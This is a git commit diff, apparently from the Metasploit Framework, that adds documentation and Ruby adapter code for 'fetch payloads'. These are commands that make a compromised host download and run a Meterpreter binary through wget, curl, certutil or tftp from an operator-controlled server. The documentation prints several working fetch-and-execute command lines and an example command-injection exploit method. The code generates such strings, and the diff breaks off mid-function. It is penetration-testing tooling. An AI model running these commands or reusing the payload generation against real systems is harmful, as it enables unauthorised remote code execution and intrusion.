Add fetch payloads for Windows and Linux x64
This commit is contained in:
parent
b052386700
commit
548a2d7ab4
|
@ -0,0 +1,333 @@
|
|||
# Fetch Payloads
|
||||
|
||||
## What Are Fetch Payloads?
|
||||
Fetch payloads are adapted, command-based payloads use network-enabled binaries on a remote host to download binary
|
||||
payloads to that remote host. Adapted payloads are just payloads where we have bolted an extra feature on top of
|
||||
existing payloads to modify the behavior. In this case, you can still use all your favorite binary payloads and
|
||||
transports, but we've added an optional fetch payload adapter on top to stage the payloads using a networking binary and
|
||||
server. They function similarly to some Command Stagers, but are based on the payload side rather than the exploit side
|
||||
to simplify integration and portability. Fetch payloads are a fast, easy way to get a session on a target that has a
|
||||
command injection or code execution vulnerability *and* a known binary with the ability to download and store
|
||||
a file.
|
||||
|
||||
## Terminology
|
||||
In the following documentation, it is useful to agree on certain terms to use so we don't get confused or confusing.
|
||||
`Fetch Payload` - The command to execute on the remote host to retrieve and execute the `Served Payload`
|
||||
`Fetch Binary` - The binary we are using on the remote host to download the Served Payload. Examples might be WGET,
|
||||
cURL, or Certutil.
|
||||
`Fetch Protocol` - The protocol used to download the served payload, for example HTTP, HTTPS or TFTP.
|
||||
`Fetch Listener` - The server hosting the served payload.
|
||||
`Fetch Handler` - The same as `Fetch Listener`
|
||||
`Served Payload` - The underlying payload we want to execute. We also might call this the `Adapted Payload`.
|
||||
`Served Payload Handler` - The handler for the served payload. This is just a standard payload like
|
||||
`meterpreter/reverse_tcp` or `shell_reverse_tcp`.
|
||||
|
||||
## Organization
|
||||
Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support
|
||||
HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
|
||||
remote host to download the served payload prior to execution.
|
||||
|
||||
Here is the naming convention for fetch payloads:
|
||||
`<cmd>/<platform>/<fetch protocol>/served_payload`
|
||||
For example:
|
||||
`cmd/linux/https/x64/meterpreter/reverse_tcp` Will do four things:
|
||||
1) Create a `linux/x64/meterpreter/reverse_tcp` elf binary to be the served payload.
|
||||
2) Serve the above served payload on an HTTPS server
|
||||
3) Start a served payload handler for the served payload to call back to
|
||||
4) Generate a command to execute on a remote host that will download the served payload and run it.
|
||||
|
||||
|
||||
## A Simple Stand-Alone Example
|
||||
The fastest way to understand Fetch Payloads is to use them and examine the output. For example, let's assume a Linux
|
||||
target with the ability to connect back to us with an HTTP connection and a command execution vulnerability.
|
||||
First, let's look at the payload in isolation:
|
||||
```msf
|
||||
msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
|
||||
|
||||
Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_FILENAME YXeSdwsoEfOH no Name to use on remote system when storing payload
|
||||
FETCH_SRVHOST 0.0.0.0 yes Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
|
||||
```
|
||||
|
||||
### Options
|
||||
`FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the
|
||||
supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get
|
||||
into more details on the binaries later.
|
||||
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
|
||||
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
|
||||
`FETCH_SRVHOST` is the IP where the server will listen.
|
||||
`FETCH_SRVPORT` is the port where the server will listen.
|
||||
`FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the
|
||||
underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying
|
||||
served payload is the same.
|
||||
`FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution.
|
||||
This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error.
|
||||
|
||||
The remaining options will be the options available to you in the served payload; in this case our served payload is
|
||||
`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different
|
||||
payload, we would see different options.
|
||||
|
||||
### Generating the Fetch Payload
|
||||
```msf
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
|
||||
FETCH_COMMAND => WGET
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
|
||||
FETCH_SRVHOST => 10.5.135.201
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
|
||||
FETCH_SRVPORT => 8000
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
|
||||
LHOST => 10.5.135.201
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
|
||||
LPORT => 4567
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
|
||||
wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
|
||||
```
|
||||
|
||||
You can see the fetch payload generated:
|
||||
`wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &`
|
||||
This command downloads the served payload, marks it as executable, and then executes it on the remote host.
|
||||
|
||||
### Starting the Fetch Server
|
||||
When you start the `Fetch Handler`, it starts both the server hosting the binary payload *and* the listener for the
|
||||
served payload. With `verbose` set to `true`, you can see both the Fetch Handler and the Served Payload Handler are
|
||||
started:
|
||||
```msf
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
|
||||
[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
|
||||
[*] Payload Handler Started as Job 0
|
||||
[*] Fetch Handler listening on 10.5.135.201:8000
|
||||
[*] http server started
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4567
|
||||
```
|
||||
|
||||
### Fetch Handlers and Served Payload Handlers
|
||||
The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under
|
||||
`Jobs`, even though the Fetch Handler is listening:
|
||||
```msf
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
|
||||
|
||||
Jobs
|
||||
====
|
||||
|
||||
Id Name Payload Payload opts
|
||||
-- ---- ------- ------------
|
||||
0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567
|
||||
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
|
||||
[*] exec: netstat -ant | grep 8000
|
||||
|
||||
tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN
|
||||
|
||||
```
|
||||
Killing the Served Payload handler will kill the Fetch Handler as well:
|
||||
```msf
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
|
||||
[*] Stopping the following job(s): 0
|
||||
[*] Stopping job 0
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
|
||||
[*] exec: netstat -ant | grep 8000
|
||||
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
|
||||
```
|
||||
|
||||
## Using Fetch Payloads on the Fly
|
||||
One really nice thing about Fetch Payloads is that it gives you the ability to execute a binary payload very quickly,
|
||||
without relying on a session in framework or having to get a payload on target. If you have a shell session or even a
|
||||
really odd situation where you can execute commands, you can get a session in framework quickly without having to upload
|
||||
a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are
|
||||
Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial.
|
||||
|
||||
## Using it in an exploit
|
||||
Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch
|
||||
payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or
|
||||
`linux`. Once the target has been added, you can get access to the command by invoking `payload.encoded` and use it as
|
||||
the command to execute on the remote target.
|
||||
|
||||
### Example paired with CmdStager
|
||||
There is likely to be some overlap between fetch payloads and command stagers. Let's talk briefly about how to support
|
||||
both in an exploit. Please see the documentation on Command Stagers for required imports and specifics for command
|
||||
stagers. in this case, I'm only documenting the changes to make so that fetch payloads will work alongside command
|
||||
stagers or to use fetch payloads in the style of command stagers, which I suggest you do.
|
||||
|
||||
In this case, I've modified the code provided in the command stager documentation to support both linux and unix command
|
||||
payloads. All I did was give an array value for the `Platform` value and change the`Type` to something more generic:
|
||||
``` ruby
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux Command',
|
||||
{
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Type' => :nix_cmd
|
||||
}
|
||||
]
|
||||
]
|
||||
```
|
||||
|
||||
For the `execute_command` method, nothing changes:
|
||||
|
||||
``` ruby
|
||||
def execute_command(cmd, _opts = {})
|
||||
populate_values if @sid.nil? || @token.nil?
|
||||
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri),
|
||||
'cookie' => 'sid=' + @sid,
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'encode_params' => true,
|
||||
'vars_post' => {
|
||||
'token' => @token,
|
||||
'text' => cmd,
|
||||
'hhook' => 'exec',
|
||||
'sid' => @sid
|
||||
}
|
||||
})
|
||||
end
|
||||
```
|
||||
|
||||
The only change in the exploit method is the use of the more generic `Type` value in the case statement. Nothing else
|
||||
needs to change.
|
||||
|
||||
``` ruby
|
||||
def exploit
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
case target['Type']
|
||||
when :nix_cmd
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
If you have an exploit that already supports Unix Command payloads and you'd like it to support Linux Command payloads
|
||||
like Fetch Payloads, you can simply add the `linux` value to the platform array:
|
||||
|
||||
``` ruby
|
||||
'Nix Command',
|
||||
{
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
}
|
||||
```
|
||||
|
||||
## Supported Commands
|
||||
### Windows And Linux Both
|
||||
#### `CURL`
|
||||
cURL comes pre-installed on Windows 10 and 11, and it is incredibly common on linux platforms and the options are very
|
||||
standardized across releases and platforms. This makes cURL a good default choice for both Linux and Windows
|
||||
targets. All options and server protocol types are supported by the cURL command.
|
||||
|
||||
#### `TFTP`
|
||||
The TFTP binary is useful only in edge cases because of a long list of limitations:
|
||||
1) It is a Windows feature, but it is turned off by default on Windows Vista and later.
|
||||
2) While you are likely to find it on Linux and Unix hosts, the options are not standard across releases.
|
||||
3) The TFTP binary included in many Linux systems and all Windows systems does not allow for the port to be configured,
|
||||
nor does it allow for the destination filename to be configured, so `FETCH_SRVPORT` must always be set to 69 and
|
||||
`FETCH_WRITABLE_DIR` and `FETCH_FILENAME` must be empty. Listening on port 69 in Framework can be problematic, so I
|
||||
suggest that you use the advanced option `FetchListenerBindPort` to start the server on a different port and redirect
|
||||
the connection with a tool like iptables to a high port.
|
||||
For example, if you are on a linux host with iptables, you can execute the following commands to redirect a connection
|
||||
on UDP port 69 to UDP port 3069:
|
||||
`sudo iptables -t nat -I PREROUTING -p udp --dport 69 -j REDIRECT --to-ports 3069`
|
||||
`sudo iptables -t nat -I OUTPUT -p udp -d 127.0.0.1 --dport 69 -j REDIRECT --to-ports 3069`
|
||||
Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly.
|
||||
4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you
|
||||
start a tftp fetch handler, a new service will start:
|
||||
```msf
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
|
||||
|
||||
Jobs
|
||||
====
|
||||
|
||||
Id Name Payload Payload opts
|
||||
-- ---- ------- ------------
|
||||
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
|
||||
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
|
||||
LPORT => 4445
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
|
||||
|
||||
[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
|
||||
[*] Payload Handler Started as Job 4
|
||||
|
||||
[*] starting tftpserver on 10.5.135.201:8080
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4445
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
|
||||
|
||||
Jobs
|
||||
====
|
||||
|
||||
Id Name Payload Payload opts
|
||||
-- ---- ------- ------------
|
||||
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
|
||||
4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445
|
||||
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
|
||||
[*] exec: netstat -an | grep 8080
|
||||
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
|
||||
FETCH_URIPATH => test4
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
|
||||
LPORT => 8547
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
|
||||
|
||||
[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
|
||||
[*] Payload Handler Started as Job 5
|
||||
|
||||
[*] starting tftpserver on 10.5.135.201:8080
|
||||
[*] Started reverse TCP handler on 10.5.135.201:8547
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
|
||||
[*] exec: netstat -an | grep 8080
|
||||
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
|
||||
```
|
||||
There is nothing to stop you from creating a race condition by starting multiple tftp servers with the same IP, port,
|
||||
and `FETCH_URI` value but serving different payloads. This will result in a race condition where the payload served is
|
||||
non-deterministic.
|
||||
|
||||
|
||||
### Windows Only
|
||||
#### `Certutil`
|
||||
Certutil is a great choice for Windows targets- it is likely to be present on most recent releases of Windows and is
|
||||
highly configurable. The one troublesome aspect is that there is no insecure mode for Certutil, so if you are using
|
||||
Certutil with the HTTPS protocol, the certificate must be correct and checked. It supports `HTTP` and `HTTPS`
|
||||
protocols.
|
||||
|
||||
### Linux Only
|
||||
#### `FTP`
|
||||
FTP is an old but useful binary. While we support using the FTP binary, we do not have an FTP server. Modern releases
|
||||
of FTP support both HTTP and HTTPS protocols. Unfortunately, we only support these modern versions of inline FTP, so it
|
||||
may not be appropriate for older systems.
|
||||
|
||||
#### `TNFTP`
|
||||
TNFTP (not to be confused with TFTP) is a newer version of FTP. It is exactly the same as modern FTP, but sometimes both the legacy FTP and TNFTP are
|
||||
present on a system, so the command will be `tnftp` rather than `ftp`.
|
||||
|
||||
#### WGET
|
||||
WGET is likely the first choice for a linux-only target. It supports both HTTPS and HTTP and all Fetch payload options.
|
||||
It is ubiquitous on Linux hosts and very standard, making it an excellent choice.
|
|
@ -526,6 +526,10 @@ NAVIGATION_CONFIG = [
|
|||
{
|
||||
path: 'How-to-use-command-stagers.md'
|
||||
},
|
||||
{
|
||||
path: 'How-to-use-fetch-payloads.md',
|
||||
title: 'How to use Fetch Payloads'
|
||||
},
|
||||
{
|
||||
old_wiki_path: 'How-to-write-a-check()-method.md',
|
||||
path: 'How-to-write-a-check-method.md'
|
||||
|
|
|
@ -223,7 +223,6 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
text = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.txt"
|
||||
bat = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.bat"
|
||||
command = payload.encoded
|
||||
|
||||
output = execute_command_with_output(text, bat, command, smbshare, datastore['RHOST'], delay: datastore['CMD::DELAY'])
|
||||
|
||||
unless output.nil?
|
||||
|
@ -242,8 +241,9 @@ module Exploit::Remote::SMB::Client::Psexec
|
|||
|
||||
def execute_command(text, bat, cmd)
|
||||
# Try and execute the provided command
|
||||
cmd = cmd.gsub('&', '^&')
|
||||
execute = "%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
|
||||
vprint_status("Executing the command...")
|
||||
vprint_status("Executing the command: #{execute}")
|
||||
begin
|
||||
return psexec(execute)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
|
||||
|
|
|
@ -0,0 +1,342 @@
|
|||
module Msf::Payload::Adapter::Fetch
|
||||
|
||||
def initialize(*args)
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
|
||||
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces.', Rex::Text.rand_text_alpha(rand(8..12))], regex:/^[\S]*$/),
|
||||
Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
|
||||
Msf::OptAddressLocal.new('FETCH_SRVHOST', [ true, 'Local IP to use for serving payload', "0.0.0.0"]),
|
||||
Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
|
||||
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', ''], regex:/^[\S]*$/)
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']),
|
||||
Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']),
|
||||
Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]),
|
||||
Msf::OptString.new('FetchServerName', [true, 'Fetch Server Name', 'Apache'])
|
||||
]
|
||||
)
|
||||
@delete_resource = true
|
||||
@fetch_service = nil
|
||||
@myresources = []
|
||||
@srvexe = ''
|
||||
@remote_destination_win = nil
|
||||
@remote_destination_nix = nil
|
||||
@windows = nil
|
||||
|
||||
end
|
||||
|
||||
def check_srvhost
|
||||
if Rex::Socket.is_ip_addr?(srvhost) && Rex::Socket.addr_atoi(srvhost) == 0
|
||||
raise ArgumentError, 'You must set FETCH_SRVHOST to a routable IP'
|
||||
end
|
||||
end
|
||||
|
||||
def compatible?(mod)
|
||||
if mod.type == Msf::MODULE_PAYLOAD && (mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic) && (mod.class::CachedSize >= 120_000) # echo does not have an unlimited amount of space
|
||||
return false
|
||||
end
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
# If no fetch URL is provided, we generate one based off the underlying payload data
|
||||
# This is because if we use a randomly-generated URI, the URI generated by venom and
|
||||
# Framework will not match. This way, we can build a payload in venom and a listener
|
||||
# in Framework, and if the underlying payload type/host/port are the same, the URI
|
||||
# will be, too.
|
||||
#
|
||||
def default_srvuri
|
||||
# If we're in framework, payload is in datastore; msfvenom has it in refname
|
||||
payload_name = datastore['payload'] ||= refname
|
||||
decoded_uri = payload_name.dup
|
||||
# there may be no transport, so leave the connection string off if that's the case
|
||||
netloc = ''
|
||||
if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL'
|
||||
netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
|
||||
unless datastore['LPORT'].blank?
|
||||
if Rex::Socket.is_ipv6?(netloc)
|
||||
netloc = "[#{netloc}]:#{datastore['LPORT']}"
|
||||
else
|
||||
netloc = "#{netloc}:#{datastore['LPORT']}"
|
||||
end
|
||||
end
|
||||
elsif module_info['ConnectionType'].upcase == 'BIND'
|
||||
netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
|
||||
unless datastore['RPORT'].blank?
|
||||
if Rex::Socket.is_ipv6?(netloc)
|
||||
netloc = "[#{netloc}]:#{datastore['RPORT']}"
|
||||
else
|
||||
netloc = "#{netloc}:#{datastore['RPORT']}"
|
||||
end
|
||||
end
|
||||
end
|
||||
decoded_uri << ";#{netloc}"
|
||||
Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false)
|
||||
end
|
||||
|
||||
def download_uri
|
||||
"#{srvnetloc}/#{srvuri}"
|
||||
end
|
||||
|
||||
def fetch_bindhost
|
||||
datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress']
|
||||
end
|
||||
|
||||
def fetch_bindport
|
||||
datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort']
|
||||
end
|
||||
|
||||
def generate(opts = {})
|
||||
opts[:arch] ||= module_info['AdaptedArch']
|
||||
opts[:code] = super
|
||||
check_srvhost
|
||||
@srvexe = generate_payload_exe(opts)
|
||||
cmd = generate_fetch_commands
|
||||
vprint_status("Command to run on remote host: #{cmd}")
|
||||
cmd
|
||||
end
|
||||
|
||||
def generate_fetch_commands
|
||||
# TODO: Make a check method that determines if we support a platform/server/command combination
|
||||
#
|
||||
case datastore['FETCH_COMMAND'].upcase
|
||||
when 'FTP'
|
||||
return _generate_ftp_command
|
||||
when 'TNFTP'
|
||||
return _generate_tnftp_command
|
||||
when 'WGET'
|
||||
return _generate_wget_command
|
||||
when 'CURL'
|
||||
return _generate_curl_command
|
||||
when 'TFTP'
|
||||
return _generate_tftp_command
|
||||
when 'CERTUTIL'
|
||||
return _generate_certutil_command
|
||||
else
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
|
||||
end
|
||||
end
|
||||
|
||||
def generate_stage(opts = {})
|
||||
opts[:arch] ||= module_info['AdaptedArch']
|
||||
super
|
||||
end
|
||||
|
||||
def generate_payload_uuid(conf = {})
|
||||
conf[:arch] ||= module_info['AdaptedArch']
|
||||
conf[:platform] ||= module_info['AdaptedPlatform']
|
||||
super
|
||||
end
|
||||
|
||||
def handle_connection(conn, opts = {})
|
||||
opts[:arch] ||= module_info['AdaptedArch']
|
||||
super
|
||||
end
|
||||
|
||||
def srvhost
|
||||
datastore['FETCH_SRVHOST']
|
||||
end
|
||||
|
||||
def srvnetloc
|
||||
netloc = srvhost
|
||||
if Rex::Socket.is_ipv6?(netloc)
|
||||
netloc = "[#{netloc}]:#{srvport}"
|
||||
else
|
||||
netloc = "#{netloc}:#{srvport}"
|
||||
end
|
||||
netloc
|
||||
end
|
||||
|
||||
def srvport
|
||||
datastore['FETCH_SRVPORT']
|
||||
end
|
||||
|
||||
def srvuri
|
||||
return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?
|
||||
default_srvuri
|
||||
end
|
||||
|
||||
def srvname
|
||||
datastore['FetchServerName']
|
||||
end
|
||||
|
||||
def windows?
|
||||
return @windows unless @windows.nil?
|
||||
@windows = platform.platforms.first == Msf::Module::Platform::Windows
|
||||
@windows
|
||||
end
|
||||
|
||||
def _check_tftp_port
|
||||
# Most tftp clients do not have configurable ports
|
||||
if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank?
|
||||
print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.')
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client')
|
||||
end
|
||||
end
|
||||
|
||||
def _check_tftp_file
|
||||
# Older Linux tftp clients do not support saving the file under a different name
|
||||
unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank?
|
||||
print_error('The Linux TFTP client does not support saving a file under a different name than the URI.')
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client')
|
||||
end
|
||||
end
|
||||
|
||||
# copied from https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/socket_server.rb
|
||||
def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s)
|
||||
comm = nil
|
||||
|
||||
case srv_comm
|
||||
when 'local'
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
when /\A-?[0-9]+\Z/
|
||||
comm = framework.sessions.get(srv_comm.to_i)
|
||||
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
|
||||
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
|
||||
when nil, ''
|
||||
unless ip.nil?
|
||||
comm = Rex::Socket::SwitchBoard.best_comm(ip)
|
||||
end
|
||||
else
|
||||
raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid")
|
||||
end
|
||||
|
||||
comm || ::Rex::Socket::Comm::Local
|
||||
end
|
||||
|
||||
def _execute_add
|
||||
return _execute_win if windows?
|
||||
return _execute_nix
|
||||
end
|
||||
|
||||
def _execute_win
|
||||
cmds = " & start /B #{_remote_destination_win}"
|
||||
cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE']
|
||||
cmds
|
||||
end
|
||||
|
||||
def _execute_nix
|
||||
cmds = "; chmod +x #{_remote_destination_nix}"
|
||||
cmds << "; #{_remote_destination_nix} &"
|
||||
cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
|
||||
cmds
|
||||
end
|
||||
|
||||
def _generate_certutil_command
|
||||
case fetch_protocol
|
||||
when 'HTTP'
|
||||
cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}"
|
||||
when 'HTTPS'
|
||||
# I don't think there is a way to disable cert check in certutil....
|
||||
print_error('CERTUTIL binary does not support insecure mode')
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL')
|
||||
cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}"
|
||||
else
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
|
||||
end
|
||||
cmd + _execute_add
|
||||
end
|
||||
|
||||
def _generate_curl_command
|
||||
case fetch_protocol
|
||||
when 'HTTP'
|
||||
cmd = "curl -so #{_remote_destination} http://#{download_uri}"
|
||||
when 'HTTPS'
|
||||
cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
|
||||
when 'TFTP'
|
||||
cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
|
||||
else
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
|
||||
end
|
||||
cmd + _execute_add
|
||||
end
|
||||
|
||||
|
||||
def _generate_ftp_command
|
||||
case fetch_protocol
|
||||
when 'FTP'
|
||||
cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
|
||||
when 'HTTP'
|
||||
cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
|
||||
when 'HTTPS'
|
||||
cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
|
||||
else
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
|
||||
end
|
||||
end
|
||||
|
||||
def _generate_tftp_command
|
||||
_check_tftp_port
|
||||
case fetch_protocol
|
||||
when 'TFTP'
|
||||
if windows?
|
||||
cmd = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}"
|
||||
else
|
||||
_check_tftp_file
|
||||
cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
|
||||
end
|
||||
else
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
|
||||
end
|
||||
cmd
|
||||
end
|
||||
|
||||
def _generate_tnftp_command
|
||||
case fetch_protocol
|
||||
when 'FTP'
|
||||
cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
|
||||
when 'HTTP'
|
||||
